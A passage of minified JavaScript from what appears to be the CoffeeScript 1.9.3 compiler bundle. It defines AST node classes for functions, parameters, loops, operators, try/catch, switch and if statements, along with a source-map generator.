i,u,a,f,l,c,p,d,v,m,g,y,w,E,x,T,N,C,k,A,O,M,_,H,B,j,F,I,q,R,U,z,W;if(this.bound&&(null!=(_=e.scope.method)?_.bound:void 0)&&(this.context=e.scope.method.context),this.bound&&!this.context)return this.context=\"_this\",W=new t([new P(new L(this.context))],new s([this])),u=new o(W,[new L(\"this\")]),u.updateLocationDataIfMissing(this.locationData),u.compileNode(e);for(e.scope=tt(e,\"classScope\")||this.makeScope(e.scope),e.scope.shared=tt(e,\"sharedScope\"),e.indent+=X,delete e.bare,delete e.isExistentialEquals,k=[],f=[],H=this.params,c=0,v=H.length;v>c;c++)C=H[c],C instanceof h||e.scope.parameter(C.asReference(e));for(B=this.params,p=0,m=B.length;m>p;p++)if(C=B[p],C.splat||C instanceof h){for(j=this.params,d=0,g=j.length;g>d;d++)N=j[d],N instanceof h||!N.name.value||e.scope.add(N.name.value,\"var\",!0);q=new r(new Q(new n(function(){var t,n,r,i;for(r=this.params,i=[],n=0,t=r.length;t>n;n++)N=r[n],i.push(N.asReference(e));return i}.call(this))),new Q(new L(\"arguments\")));break}for(F=this.params,T=0,y=F.length;y>T;T++)C=F[T],C.isComplex()?(U=M=C.asReference(e),C.value&&(U=new D(\"?\",M,C.value)),f.push(new r(new Q(C.name),U,\"=\",{param:!0}))):(M=C,C.value&&(x=new L(M.name.value+\" == null\"),U=new r(new Q(C.name),C.value,\"=\"),f.push(new b(x,U)))),q||k.push(M);for(z=this.body.isEmpty(),q&&f.unshift(q),f.length&&(I=this.body.expressions).unshift.apply(I,f),l=A=0,w=k.length;w>A;l=++A)N=k[l],k[l]=N.compileToFragments(e),e.scope.parameter(st(k[l]));for(R=[],this.eachParamName(function(e,t){return St.call(R,e)>=0&&t.error(\"multiple parameters named \"+e),R.push(e)}),z||this.noReturn||this.body.makeReturn(),a=\"function\",this.isGenerator&&(a+=\"*\"),this.ctor&&(a+=\" \"+this.name),a+=\"(\",i=[this.makeCode(a)],l=O=0,E=k.length;E>O;l=++O)N=k[l],l&&i.push(this.makeCode(\", \")),i.push.apply(i,N);return i.push(this.makeCode(\") {\")),this.body.isEmpty()||(i=i.concat(this.makeCode(\"\\n\"),this.body.compileWithDeclarations(e),this.makeCode(\"\\n\"+this.tab))),i.push(this.makeCode(\"}\")),this.ctor?[this.makeCode(this.tab)].concat(xt.call(i)):this.front||e.level>=S?this.wrapInBraces(i):i},t.prototype.eachParamName=function(e){var t,n,r,i,s;for(i=this.params,s=[],t=0,n=i.length;n>t;t++)r=i[t],s.push(r.eachName(e));return s},t.prototype.traverseChildren=function(e,n){return e?t.__super__.traverseChildren.call(this,e,n):void 0},t}(i),e.Param=P=function(e){function t(e,t,n){var r,i;this.name=e,this.value=t,this.splat=n,i=r=this.name.unwrapAll().value,St.call(q,i)>=0&&this.name.error('parameter name \"'+r+'\" is not allowed')}return wt(t,e),t.prototype.children=[\"name\",\"value\"],t.prototype.compileToFragments=function(e){return this.name.compileToFragments(e,T)},t.prototype.asReference=function(e){var t,n;return this.reference?this.reference:(n=this.name,n[\"this\"]?(t=n.properties[0].name.value,t.reserved&&(t=\"_\"+t),n=new L(e.scope.freeVariable(t))):n.isComplex()&&(n=new L(e.scope.freeVariable(\"arg\"))),n=new Q(n),this.splat&&(n=new z(n)),n.updateLocationDataIfMissing(this.locationData),this.reference=n)},t.prototype.isComplex=function(){return this.name.isComplex()},t.prototype.eachName=function(e,t){var n,i,s,o,u,a;if(null==t&&(t=this.name),n=function(t){return e(\"@\"+t.properties[0].name.value,t)},t instanceof L)return e(t.value,t);if(t instanceof Q)return n(t);for(a=t.objects,i=0,s=a.length;s>i;i++)u=a[i],u instanceof r?this.eachName(e,u.value.unwrap()):u instanceof z?(o=u.name.unwrap(),e(o.value,o)):u instanceof Q?u.isArray()||u.isObject()?this.eachName(e,u.base):u[\"this\"]?n(u):e(u.base.value,u.base):u instanceof h||u.error(\"illegal parameter \"+u.compile())},t}(i),e.Splat=z=function(e){function t(e){this.name=e.compile?e:new L(e)}return wt(t,e),t.prototype.children=[\"name\"],t.prototype.isAssignable=Y,t.prototype.assigns=function(e){return this.name.assigns(e)},t.prototype.compileToFragments=function(e){return this.name.compileToFragments(e)},t.prototype.unwrap=function(){return this.name},t.compileSplattedArray=function(e,n,r){var i,s,o,u,a,f,l,c,h,p,d;for(l=-1;(d=n[++l])&&!(d instanceof t););if(l>=n.length)return[];if(1===n.length)return d=n[0],a=d.compileToFragments(e,T),r?a:[].concat(d.makeCode(bt(\"slice\",e)+\".call(\"),a,d.makeCode(\")\"));for(i=n.slice(l),f=c=0,p=i.length;p>c;f=++c)d=i[f],o=d.compileToFragments(e,T),i[f]=d instanceof t?[].concat(d.makeCode(bt(\"slice\",e)+\".call(\"),o,d.makeCode(\")\")):[].concat(d.makeCode(\"[\"),o,d.makeCode(\"]\"));return 0===l?(d=n[0],u=d.joinFragmentArrays(i.slice(1),\", \"),i[0].concat(d.makeCode(\".concat(\"),u,d.makeCode(\")\"))):(s=function(){var t,r,i,s;for(i=n.slice(0,l),s=[],t=0,r=i.length;r>t;t++)d=i[t],s.push(d.compileToFragments(e,T));return s}(),s=n[0].joinFragmentArrays(s,\", \"),u=n[l].joinFragmentArrays(i,\", \"),h=n[n.length-1],[].concat(n[0].makeCode(\"[\"),s,n[l].makeCode(\"].concat(\"),u,h.makeCode(\")\")))},t}(i),e.Expansion=h=function(e){function t(){return t.__super__.constructor.apply(this,arguments)}return wt(t,e),t.prototype.isComplex=O,t.prototype.compileNode=function(){return this.error(\"Expansion must be used inside a destructuring assignment or parameter list\")},t.prototype.asReference=function(){return this},t.prototype.eachName=function(){},t}(i),e.While=G=function(e){function t(e,t){this.condition=(null!=t?t.invert:void 0)?e.invert():e,this.guard=null!=t?t.guard:void 0}return wt(t,e),t.prototype.children=[\"condition\",\"guard\",\"body\"],t.prototype.isStatement=Y,t.prototype.makeReturn=function(e){return e?t.__super__.makeReturn.apply(this,arguments):(this.returns=!this.jumps({loop:!0}),this)},t.prototype.addBody=function(e){return this.body=e,this},t.prototype.jumps=function(){var e,t,n,r,i;if(e=this.body.expressions,!e.length)return!1;for(t=0,r=e.length;r>t;t++)if(i=e[t],n=i.jumps({loop:!0}))return n;return!1},t.prototype.compileNode=function(e){var t,n,r,i;return e.indent+=X,i=\"\",n=this.body,n.isEmpty()?n=this.makeCode(\"\"):(this.returns&&(n.makeReturn(r=e.scope.freeVariable(\"results\")),i=\"\"+this.tab+r+\" = [];\\n\"),this.guard&&(n.expressions.length>1?n.expressions.unshift(new b((new H(this.guard)).invert(),new L(\"continue\"))):this.guard&&(n=s.wrap([new b(this.guard,n)]))),n=[].concat(this.makeCode(\"\\n\"),n.compileToFragments(e,k),this.makeCode(\"\\n\"+this.tab))),t=[].concat(this.makeCode(i+this.tab+\"while (\"),this.condition.compileToFragments(e,C),this.makeCode(\") {\"),n,this.makeCode(\"}\")),this.returns&&t.push(this.makeCode(\"\\n\"+this.tab+\"return \"+r+\";\")),t},t}(i),e.Op=D=function(e){function n(e,t,n,r){if(\"in\"===e)return new w(t,n);if(\"do\"===e)return this.generateDo(t);if(\"new\"===e){if(t instanceof o&&!t[\"do\"]&&!t.isNew)return t.newInstance();(t instanceof a&&t.bound||t[\"do\"])&&(t=new H(t))}return this.operator=i[e]||e,this.first=t,this.second=n,this.flip=!!r,this}var i,s;return wt(n,e),i={\"==\":\"===\",\"!=\":\"!==\",of:\"in\",yieldfrom:\"yield*\"},s={\"!==\":\"===\",\"===\":\"!==\"},n.prototype.children=[\"first\",\"second\"],n.prototype.isSimpleNumber=O,n.prototype.isYield=function(){var e;return\"yield\"===(e=this.operator)||\"yield*\"===e},n.prototype.isYieldReturn=function(){return this.isYield()&&this.first instanceof F},n.prototype.isUnary=function(){return!this.second},n.prototype.isComplex=function(){var e;return!(this.isUnary()&&(\"+\"===(e=this.operator)||\"-\"===e)&&this.first instanceof Q&&this.first.isSimpleNumber())},n.prototype.isChainable=function(){var e;return\"<\"===(e=this.operator)||\">\"===e||\">=\"===e||\"<=\"===e||\"===\"===e||\"!==\"===e},n.prototype.invert=function(){var e,t,r,i,o;if(this.isChainable()&&this.first.isChainable()){for(e=!0,t=this;t&&t.operator;)e&&(e=t.operator in s),t=t.first;if(!e)return(new H(this)).invert();for(t=this;t&&t.operator;)t.invert=!t.invert,t.operator=s[t.operator],t=t.first;return this}return(i=s[this.operator])?(this.operator=i,this.first.unwrap()instanceof n&&this.first.invert(),this):this.second?(new H(this)).invert():\"!\"===this.operator&&(r=this.first.unwrap())instanceof n&&(\"!\"===(o=r.operator)||\"in\"===o||\"instanceof\"===o)?r:new n(\"!\",this)},n.prototype.unfoldSoak=function(e){var t;return(\"++\"===(t=this.operator)||\"--\"===t||\"delete\"===t)&&yt(e,this,\"first\")},n.prototype.generateDo=function(e){var t,n,i,s,u,f,l,c;for(f=[],n=e instanceof r&&(l=e.value.unwrap())instanceof a?l:e,c=n.params||[],i=0,s=c.length;s>i;i++)u=c[i],u.value?(f.push(u.value),delete u.value):f.push(u);return t=new o(e,f),t[\"do\"]=!0,t},n.prototype.compileNode=function(e){var t,n,r,i,s,o;if(n=this.isChainable()&&this.first.isChainable(),n||(this.first.front=this.front),\"delete\"===this.operator&&e.scope.check(this.first.unwrapAll().value)&&this.error(\"delete operand may not be argument or var\"),(\"--\"===(i=this.operator)||\"++\"===i)&&(s=this.first.unwrapAll().value,St.call(q,s)>=0)&&this.error('cannot increment/decrement \"'+this.first.unwrapAll().value+'\"'),this.isYield())return this.compileYield(e);if(this.isUnary())return this.compileUnary(e);if(n)return this.compileChain(e);switch(this.operator){case\"?\":return this.compileExistence(e);case\"**\":return this.compilePower(e);case\"//\":return this.compileFloorDivision(e);case\"%%\":return this.compileModulo(e);default:return r=this.first.compileToFragments(e,N),o=this.second.compileToFragments(e,N),t=[].concat(r,this.makeCode(\" \"+this.operator+\" \"),o),N>=e.level?t:this.wrapInBraces(t)}},n.prototype.compileChain=function(e){var t,n,r,i;return r=this.first.second.cache(e),this.first.second=r[0],i=r[1],n=this.first.compileToFragments(e,N),t=n.concat(this.makeCode(\" \"+(this.invert?\"&&\":\"||\")+\" \"),i.compileToFragments(e),this.makeCode(\" \"+this.operator+\" \"),this.second.compileToFragments(e,N)),this.wrapInBraces(t)},n.prototype.compileExistence=function(e){var t,n;return this.first.isComplex()?(n=new L(e.scope.freeVariable(\"ref\")),t=new H(new r(n,this.first))):(t=this.first,n=t),(new b(new c(t),n,{type:\"if\"})).addElse(this.second).compileToFragments(e)},n.prototype.compileUnary=function(e){var t,r,i;return r=[],t=this.operator,r.push([this.makeCode(t)]),\"!\"===t&&this.first instanceof c?(this.first.negated=!this.first.negated,this.first.compileToFragments(e)):e.level>=S?(new H(this)).compileToFragments(e):(i=\"+\"===t||\"-\"===t,(\"new\"===t||\"typeof\"===t||\"delete\"===t||i&&this.first instanceof n&&this.first.operator===t)&&r.push([this.makeCode(\" \")]),(i&&this.first instanceof n||\"new\"===t&&this.first.isStatement(e))&&(this.first=new H(this.first)),r.push(this.first.compileToFragments(e,N)),this.flip&&r.reverse(),this.joinFragmentArrays(r,\"\"))},n.prototype.compileYield=function(e){var t,n;return n=[],t=this.operator,null==e.scope.parent&&this.error(\"yield statements must occur within a function generator.\"),St.call(Object.keys(this.first),\"expression\")>=0&&!(this.first instanceof $)?this.isYieldReturn()?n.push(this.first.compileToFragments(e,k)):null!=this.first.expression&&n.push(this.first.expression.compileToFragments(e,N)):(n.push([this.makeCode(\"(\"+t+\" \")]),n.push(this.first.compileToFragments(e,N)),n.push([this.makeCode(\")\")])),this.joinFragmentArrays(n,\"\")},n.prototype.compilePower=function(e){var n;return n=new Q(new L(\"Math\"),[new t(new L(\"pow\"))]),(new o(n,[this.first,this.second])).compileToFragments(e)},n.prototype.compileFloorDivision=function(e){var r,i;return i=new Q(new L(\"Math\"),[new t(new L(\"floor\"))]),r=new n(\"/\",this.first,this.second),(new o(i,[r])).compileToFragments(e)},n.prototype.compileModulo=function(e){var t;return t=new Q(new L(bt(\"modulo\",e))),(new o(t,[this.first,this.second])).compileToFragments(e)},n.prototype.toString=function(e){return n.__super__.toString.call(this,e,this.constructor.name+\" \"+this.operator)},n}(i),e.In=w=function(e){function t(e,t){this.object=e,this.array=t}return wt(t,e),t.prototype.children=[\"object\",\"array\"],t.prototype.invert=A,t.prototype.compileNode=function(e){var t,n,r,i,s;if(this.array instanceof Q&&this.array.isArray()&&this.array.base.objects.length){for(s=this.array.base.objects,n=0,r=s.length;r>n;n++)if(i=s[n],i instanceof z){t=!0;break}if(!t)return this.compileOrTest(e)}return this.compileLoopTest(e)},t.prototype.compileOrTest=function(e){var t,n,r,i,s,o,u,a,f,l,c,h;for(a=this.object.cache(e,N),c=a[0],u=a[1],f=this.negated?[\" !== \",\" && \"]:[\" === \",\" || \"],t=f[0],n=f[1],h=[],l=this.array.base.objects,r=s=0,o=l.length;o>s;r=++s)i=l[r],r&&h.push(this.makeCode(n)),h=h.concat(r?u:c,this.makeCode(t),i.compileToFragments(e,S));return N>e.level?h:this.wrapInBraces(h)},t.prototype.compileLoopTest=function(e){var t,n,r,i;return r=this.object.cache(e,T),i=r[0],n=r[1],t=[].concat(this.makeCode(bt(\"indexOf\",e)+\".call(\"),this.array.compileToFragments(e,T),this.makeCode(\", \"),n,this.makeCode(\") \"+(this.negated?\"< 0\":\">= 0\"))),st(i)===st(n)?t:(t=i.concat(this.makeCode(\", \"),t),T>e.level?t:this.wrapInBraces(t))},t.prototype.toString=function(e){return t.__super__.toString.call(this,e,this.constructor.name+(this.negated?\"!\":\"\"))},t}(i),e.Try=J=function(e){function t(e,t,n,r){this.attempt=e,this.errorVariable=t,this.recovery=n,this.ensure=r}return wt(t,e),t.prototype.children=[\"attempt\",\"recovery\",\"ensure\"],t.prototype.isStatement=Y,t.prototype.jumps=function(e){var t;return this.attempt.jumps(e)||(null!=(t=this.recovery)?t.jumps(e):void 0)},t.prototype.makeReturn=function(e){return this.attempt&&(this.attempt=this.attempt.makeReturn(e)),this.recovery&&(this.recovery=this.recovery.makeReturn(e)),this},t.prototype.compileNode=function(e){var t,n,i,s;return e.indent+=X,s=this.attempt.compileToFragments(e,k),t=this.recovery?(i=new L(\"_error\"),this.errorVariable?this.recovery.unshift(new r(this.errorVariable,i)):void 0,[].concat(this.makeCode(\" catch (\"),i.compileToFragments(e),this.makeCode(\") {\\n\"),this.recovery.compileToFragments(e,k),this.makeCode(\"\\n\"+this.tab+\"}\"))):this.ensure||this.recovery?[]:[this.makeCode(\" catch (_error) {}\")],n=this.ensure?[].concat(this.makeCode(\" finally {\\n\"),this.ensure.compileToFragments(e,k),this.makeCode(\"\\n\"+this.tab+\"}\")):[],[].concat(this.makeCode(this.tab+\"try {\\n\"),s,this.makeCode(\"\\n\"+this.tab+\"}\"),t,n)},t}(i),e.Throw=$=function(e){function t(e){this.expression=e}return wt(t,e),t.prototype.children=[\"expression\"],t.prototype.isStatement=Y,t.prototype.jumps=O,t.prototype.makeReturn=V,t.prototype.compileNode=function(e){return[].concat(this.makeCode(this.tab+\"throw \"),this.expression.compileToFragments(e),this.makeCode(\";\"))},t}(i),e.Existence=c=function(e){function t(e){this.expression=e}return wt(t,e),t.prototype.children=[\"expression\"],t.prototype.invert=A,t.prototype.compileNode=function(e){var t,n,r,i;return this.expression.front=this.front,r=this.expression.compile(e,N),m.test(r)&&!e.scope.check(r)?(i=this.negated?[\"===\",\"||\"]:[\"!==\",\"&&\"],t=i[0],n=i[1],r=\"typeof \"+r+\" \"+t+' \"undefined\" '+n+\" \"+r+\" \"+t+\" null\"):r=r+\" \"+(this.negated?\"==\":\"!=\")+\" null\",[this.makeCode(x>=e.level?r:\"(\"+r+\")\")]},t}(i),e.Parens=H=function(e){function t(e){this.body=e}return wt(t,e),t.prototype.children=[\"body\"],t.prototype.unwrap=function(){return this.body},t.prototype.isComplex=function(){return this.body.isComplex()},t.prototype.compileNode=function(e){var t,n,r;return n=this.body.unwrap(),n instanceof Q&&n.isAtomic()?(n.front=this.front,n.compileToFragments(e)):(r=n.compileToFragments(e,C),t=N>e.level&&(n instanceof D||n instanceof o||n instanceof d&&n.returns),t?r:this.wrapInBraces(r))},t}(i),e.For=d=function(e){function t(e,t){var n;this.source=t.source,this.guard=t.guard,this.step=t.step,this.name=t.name,this.index=t.index,this.body=s.wrap([e]),this.own=!!t.own,this.object=!!t.object,this.object&&(n=[this.index,this.name],this.name=n[0],this.index=n[1]),this.index instanceof Q&&this.index.error(\"index cannot be a pattern matching expression\"),this.range=this.source instanceof Q&&this.source.base instanceof j&&!this.source.properties.length,this.pattern=this.name instanceof Q,this.range&&this.index&&this.index.error(\"indexes do not apply to range loops\"),this.range&&this.pattern&&this.name.error(\"cannot pattern match over range loops\"),this.own&&!this.object&&this.name.error(\"cannot use own with for-in\"),this.returns=!1}return wt(t,e),t.prototype.children=[\"body\",\"source\",\"guard\",\"step\"],t.prototype.compileNode=function(e){var t,n,i,o,u,a,f,l,c,h,p,d,v,g,y,w,E,S,x,N,C,A,O,_,D,P,B,j,I,q,R,U,z,W;return t=s.wrap([this.body]),O=t.expressions,S=O[O.length-1],(null!=S?S.jumps():void 0)instanceof F&&(this.returns=!1),I=this.range?this.source.base:this.source,j=e.scope,this.pattern||(N=this.name&&this.name.compile(e,T)),g=this.index&&this.index.compile(e,T),N&&!this.pattern&&j.find(N),g&&j.find(g),this.returns&&(B=j.freeVariable(\"results\")),y=this.object&&g||j.freeVariable(\"i\",{single:!0}),w=this.range&&N||g||y,E=w!==y?w+\" = \":\"\",this.step&&!this.range&&(_=this.cacheToCodeFragments(this.step.cache(e,T,ot)),q=_[0],U=_[1],R=U.match(M)),this.pattern&&(N=y),W=\"\",p=\"\",f=\"\",d=this.tab+X,this.range?h=I.compileToFragments(lt(e,{index:y,name:N,step:this.step,isComplex:ot})):(z=this.source.compile(e,T),!N&&!this.own||m.test(z)||(f+=\"\"+this.tab+(A=j.freeVariable(\"ref\"))+\" = \"+z+\";\\n\",z=A),N&&!this.pattern&&(C=N+\" = \"+z+\"[\"+w+\"]\"),this.object||(q!==U&&(f+=\"\"+this.tab+q+\";\\n\"),this.step&&R&&(c=0>ht(R[0]))||(x=j.freeVariable(\"len\")),u=\"\"+E+y+\" = 0, \"+x+\" = \"+z+\".length\",a=\"\"+E+y+\" = \"+z+\".length - 1\",i=y+\" < \"+x,o=y+\" >= 0\",this.step?(R?c&&(i=o,u=a):(i=U+\" > 0 ? \"+i+\" : \"+o,u=\"(\"+U+\" > 0 ? (\"+u+\") : \"+a+\")\"),v=y+\" += \"+U):v=\"\"+(w!==y?\"++\"+y:y+\"++\"),h=[this.makeCode(u+\"; \"+i+\"; \"+E+v)])),this.returns&&(D=\"\"+this.tab+B+\" = [];\\n\",P=\"\\n\"+this.tab+\"return \"+B+\";\",t.makeReturn(B)),this.guard&&(t.expressions.length>1?t.expressions.unshift(new b((new H(this.guard)).invert(),new L(\"continue\"))):this.guard&&(t=s.wrap([new b(this.guard,t)]))),this.pattern&&t.expressions.unshift(new r(this.name,new L(z+\"[\"+w+\"]\"))),l=[].concat(this.makeCode(f),this.pluckDirectCall(e,t)),C&&(W=\"\\n\"+d+C+\";\"),this.object&&(h=[this.makeCode(w+\" in \"+z)],this.own&&(p=\"\\n\"+d+\"if (!\"+bt(\"hasProp\",e)+\".call(\"+z+\", \"+w+\")) continue;\")),n=t.compileToFragments(lt(e,{indent:d}),k),n&&n.length>0&&(n=[].concat(this.makeCode(\"\\n\"),n,this.makeCode(\"\\n\"))),[].concat(l,this.makeCode(\"\"+(D||\"\")+this.tab+\"for (\"),h,this.makeCode(\") {\"+p+W),n,this.makeCode(this.tab+\"}\"+(P||\"\")))},t.prototype.pluckDirectCall=function(e,t){var n,i,s,u,f,l,c,h,p,d,v,m,g,y,b,w;for(i=[],p=t.expressions,f=l=0,c=p.length;c>l;f=++l)s=p[f],s=s.unwrapAll(),s instanceof o&&(w=null!=(d=s.variable)?d.unwrapAll():void 0,(w instanceof a||w instanceof Q&&(null!=(v=w.base)?v.unwrapAll():void 0)instanceof a&&1===w.properties.length&&(\"call\"===(m=null!=(g=w.properties[0].name)?g.value:void 0)||\"apply\"===m))&&(u=(null!=(y=w.base)?y.unwrapAll():void 0)||w,h=new L(e.scope.freeVariable(\"fn\")),n=new Q(h),w.base&&(b=[n,w],w.base=b[0],n=b[1]),t.expressions[f]=new o(n,s.args),i=i.concat(this.makeCode(this.tab),(new r(h,u)).compileToFragments(e,k),this.makeCode(\";\\n\"))));return i},t}(G),e.Switch=W=function(e){function t(e,t,n){this.subject=e,this.cases=t,this.otherwise=n}return wt(t,e),t.prototype.children=[\"subject\",\"cases\",\"otherwise\"],t.prototype.isStatement=Y,t.prototype.jumps=function(e){var t,n,r,i,s,o,u,a;for(null==e&&(e={block:!0}),o=this.cases,r=0,s=o.length;s>r;r++)if(u=o[r],n=u[0],t=u[1],i=t.jumps(e))return i;return null!=(a=this.otherwise)?a.jumps(e):void 0},t.prototype.makeReturn=function(e){var t,n,r,i,o;for(i=this.cases,t=0,n=i.length;n>t;t++)r=i[t],r[1].makeReturn(e);return e&&(this.otherwise||(this.otherwise=new s([new L(\"void 0\")]))),null!=(o=this.otherwise)&&o.makeReturn(e),this},t.prototype.compileNode=function(e){var t,n,r,i,s,o,u,a,f,l,c,h,p,d,v,m;for(a=e.indent+X,f=e.indent=a+X,o=[].concat(this.makeCode(this.tab+\"switch (\"),this.subject?this.subject.compileToFragments(e,C):this.makeCode(\"false\"),this.makeCode(\") {\\n\")),d=this.cases,u=l=0,h=d.length;h>l;u=++l){for(v=d[u],i=v[0],t=v[1],m=it([i]),c=0,p=m.length;p>c;c++)r=m[c],this.subject||(r=r.invert()),o=o.concat(this.makeCode(a+\"case \"),r.compileToFragments(e,C),this.makeCode(\":\\n\"));if((n=t.compileToFragments(e,k)).length>0&&(o=o.concat(n,this.makeCode(\"\\n\"))),u===this.cases.length-1&&!this.otherwise)break;s=this.lastNonComment(t.expressions),s instanceof F||s instanceof L&&s.jumps()&&\"debugger\"!==s.value||o.push(r.makeCode(f+\"break;\\n\"))}return this.otherwise&&this.otherwise.expressions.length&&o.push.apply(o,[this.makeCode(a+\"default:\\n\")].concat(xt.call(this.otherwise.compileToFragments(e,k)),[this.makeCode(\"\\n\")])),o.push(this.makeCode(this.tab+\"}\")),o},t}(i),e.If=b=function(e){function t(e,t,n){this.body=t,null==n&&(n={}),this.condition=\"unless\"===n.type?e.invert():e,this.elseBody=null,this.isChain=!1,this.soak=n.soak}return wt(t,e),t.prototype.children=[\"condition\",\"body\",\"elseBody\"],t.prototype.bodyNode=function(){var e;return null!=(e=this.body)?e.unwrap():void 0},t.prototype.elseBodyNode=function(){var e;return null!=(e=this.elseBody)?e.unwrap():void 0},t.prototype.addElse=function(e){return this.isChain?this.elseBodyNode().addElse(e):(this.isChain=e instanceof t,this.elseBody=this.ensureBlock(e),this.elseBody.updateLocationDataIfMissing(e.locationData)),this},t.prototype.isStatement=function(e){var t;return(null!=e?e.level:void 0)===k||this.bodyNode().isStatement(e)||(null!=(t=this.elseBodyNode())?t.isStatement(e):void 0)},t.prototype.jumps=function(e){var t;return this.body.jumps(e)||(null!=(t=this.elseBody)?t.jumps(e):void 0)},t.prototype.compileNode=function(e){return this.isStatement(e)?this.compileStatement(e):this.compileExpression(e)},t.prototype.makeReturn=function(e){return e&&(this.elseBody||(this.elseBody=new s([new L(\"void 0\")]))),this.body&&(this.body=new s([this.body.makeReturn(e)])),this.elseBody&&(this.elseBody=new s([this.elseBody.makeReturn(e)])),this},t.prototype.ensureBlock=function(e){return e instanceof s?e:new s([e])},t.prototype.compileStatement=function(e){var n,r,i,s,o,u,a;return i=tt(e,\"chainChild\"),(o=tt(e,\"isExistentialEquals\"))?(new t(this.condition.invert(),this.elseBodyNode(),{type:\"if\"})).compileToFragments(e):(a=e.indent+X,s=this.condition.compileToFragments(e,C),r=this.ensureBlock(this.body).compileToFragments(lt(e,{indent:a})),u=[].concat(this.makeCode(\"if (\"),s,this.makeCode(\") {\\n\"),r,this.makeCode(\"\\n\"+this.tab+\"}\")),i||u.unshift(this.makeCode(this.tab)),this.elseBody?(n=u.concat(this.makeCode(\" else \")),this.isChain?(e.chainChild=!0,n=n.concat(this.elseBody.unwrap().compileToFragments(e,k))):n=n.concat(this.makeCode(\"{\\n\"),this.elseBody.compileToFragments(lt(e,{indent:a}),k),this.makeCode(\"\\n\"+this.tab+\"}\")),n):u)},t.prototype.compileExpression=function(e){var t,n,r,i;return r=this.condition.compileToFragments(e,x),n=this.bodyNode().compileToFragments(e,T),t=this.elseBodyNode()?this.elseBodyNode().compileToFragments(e,T):[this.makeCode(\"void 0\")],i=r.concat(this.makeCode(\" ? \"),n,this.makeCode(\" : \"),t),e.level>=x?this.wrapInBraces(i):i},t.prototype.unfoldSoak=function(){return this.soak&&this},t}(i),K={extend:function(e){return\"function(child, parent) { for (var key in parent) { if (\"+bt(\"hasProp\",e)+\".call(parent, key)) child[key] = parent[key]; } function ctor() { this.constructor = child; } ctor.prototype = parent.prototype; child.prototype = new ctor(); child.__super__ = parent.prototype; return child; }\"},bind:function(){return\"function(fn, me){ return function(){ return fn.apply(me, arguments); }; }\"},indexOf:function(){return\"[].indexOf || function(item) { for (var i = 0, l = this.length; i < l; i++) { if (i in this && this[i] === item) return i; } return -1; }\"},modulo:function(){return\"function(a, b) { return (+a % (b = +b) + b) % b; }\"},hasProp:function(){return\"{}.hasOwnProperty\"},slice:function(){return\"[].slice\"}},k=1,C=2,T=3,x=4,N=5,S=6,X=\"  \",m=/^(?!\\d)[$\\w\\x7f-\\uffff]+$/,I=/^[+-]?\\d+$/,v=/^[+-]?0x[\\da-f]+/i,M=/^[+-]?(?:0x[\\da-f]+|\\d*\\.?\\d+(?:e[+-]?\\d+)?)$/i,y=/^['\"]/,g=/^\\//,bt=function(e,t){var n,r;return r=t.scope.root,e in r.utilities?r.utilities[e]:(n=r.freeVariable(e),r.assign(n,K[e](t)),r.utilities[e]=n)},ct=function(e,t){return e=e.replace(/\\n/g,\"$&\"+t),e.replace(/\\s+$/,\"\")},ht=function(e){return null==e?0:e.match(v)?parseInt(e,16):parseFloat(e)},ut=function(e){return e instanceof L&&\"arguments\"===e.value&&!e.asKey},at=function(e){return e instanceof L&&\"this\"===e.value&&!e.asKey||e instanceof a&&e.bound||e instanceof o&&e.isSuper},ot=function(e){return e.isComplex()||(\"function\"==typeof e.isAssignable?e.isAssignable():void 0)},yt=function(e,t,n){var r;if(r=t[n].unfoldSoak(e))return t[n]=r.body,r.body=new Q(t),r}}.call(this),t.exports}(),_dereq_[\"./sourcemap\"]=function(){var e={},t={exports:e};return function(){var e,n;e=function(){function e(e){this.line=e,this.columns=[]}return e.prototype.add=function(e,t,n){var r,i;return i=t[0],r=t[1],null==n&&(n={}),this.columns[e]&&n.noReplace?void 0:this.columns[e]={line:this.line,column:e,sourceLine:i,sourceColumn:r}},e.prototype.sourceLocation=function(e){for(var t;!((t=this.columns[e])||0>=e);)e--;return t&&[t.sourceLine,t.sourceColumn]},e}(),n=function(){function t(){this.lines=[]}var n,r,i,s;return t.prototype.add=function(t,n,r){var i,s,o,u;return null==r&&(r={}),o=n[0],s=n[1],u=(i=this.lines)[o]||(i[o]=new e(o)),u.add(s,t,r)},t.prototype.sourceLocation=function(e){var t,n,r;for(n=e[0],t=e[1];!((r=this.lines[n])||0>=n);)n--;return r&&r.sourceLocation(t)},t.prototype.generate=function(e,t){var n,r,i,s,o,u,a,f,l,c,h,p,d,v,m,g;for(null==e&&(e={}),null==t&&(t=null),g=0,s=0,u=0,o=0,p=!1,n=\"\",d=this.lines,c=r=0,a=d.length;a>r;c=++r)if(l=d[c])for(v=l.columns,i=0,f=v.length;f>i;i++)if(h=v[i]){for(;h.line>g;)s=0,p=!1,n+=\";\",g++;p&&(n+=\",\",p=!1),n+=this.encodeVlq(h.column-s),s=h.column,n+=this.encodeVlq(0),n+=this.encodeVlq(h.sourceLine-u),u=h.sourceLine,n+=this.encodeVlq(h.sourceColumn-o),o=h.sourceColumn,p=!0}return m={version:3,file:e.generatedFile||\"\",sourceRoot:e.sourceRoot||\"\",sources:e.sourceFiles||[\"\"],names:[],mappings:n},e.inline&&(m.sourcesContent=[t]),JSON.stringify(m,null,2)},i=5,r=1<<i,s=r-1,t.prototype.encodeVlq=function(e){var t,n,o,u;for(t=\"\",o=0>e?1:0,u=(Math.abs(e)<<1)+o;u||!t;)n=u&s,u>>=i,u&&(n|=r),t+=this.encodeBase64(n);return t},n=\"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\",t.prototype.encodeBase64=function(e){return n[e]||function(){throw Error(\"Cannot Base64 encode value: \"+e)}()},t}(),t.exports=n}.call(this),t.exports}(),_dereq_[\"./coffee-script\"]=function(){var e={},t={exports:e};return function(){var t,n,r,i,s,o,u,a,f,l,c,h,p,d,v,m,g,y,b={}.hasOwnProperty,w=[].indexOf||function(e){for(var t=0,n=this.length;n>t;t++)if(t in this&&this[t]===e)return t;return-1};if(u=_dereq_(\"fs\"),g=_dereq_(\"vm\"),d=_dereq_(\"path\"),t=_dereq_(\"./lexer\").Lexer,p=_dereq_(\"./parser\").parser,f=_dereq_(\"./helpers\"),n=_dereq_(\"./sourcemap\"),e.VERSION=\"1.9.3\",e.FILE_EXTENSIONS=[\".coffee\",\".litcoffee\",\".coffee.md\"],e.helpers=f,y=function(e){return function(t,n){var r;null==n&&(n={});try{return e.call(this,t,n)}catch(i){throw(r=i,\"string\"!=typeof t)?r:f.updateSyntaxError(r,t,n.filename)}}},e.compile=i=y(function(e,t){var 